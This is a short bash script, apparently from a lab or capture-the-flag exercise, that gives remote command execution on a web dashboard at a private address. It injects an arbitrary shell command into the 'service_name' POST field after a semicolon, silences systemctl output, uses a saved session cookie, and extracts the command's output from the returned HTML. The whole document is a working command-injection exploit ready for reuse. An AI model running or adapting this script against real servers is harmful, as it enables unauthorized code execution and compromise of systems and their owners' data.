#!/bin/bash # Clean RCE: suppress systemctl noise, return command output cmd="$1" curl -sS -m 60 -b cookies.txt -X POST --data-urlencode "service_name=x >/dev/null 2>&1; $cmd" http://192.168.1.119/dashboard.php \ | python3 -c " import sys,html,re t=sys.stdin.read() m=re.search(r'data-output[^>]*>(.*?)',t,re.S) print(html.unescape(m.group(1)) if m else '[no output]') "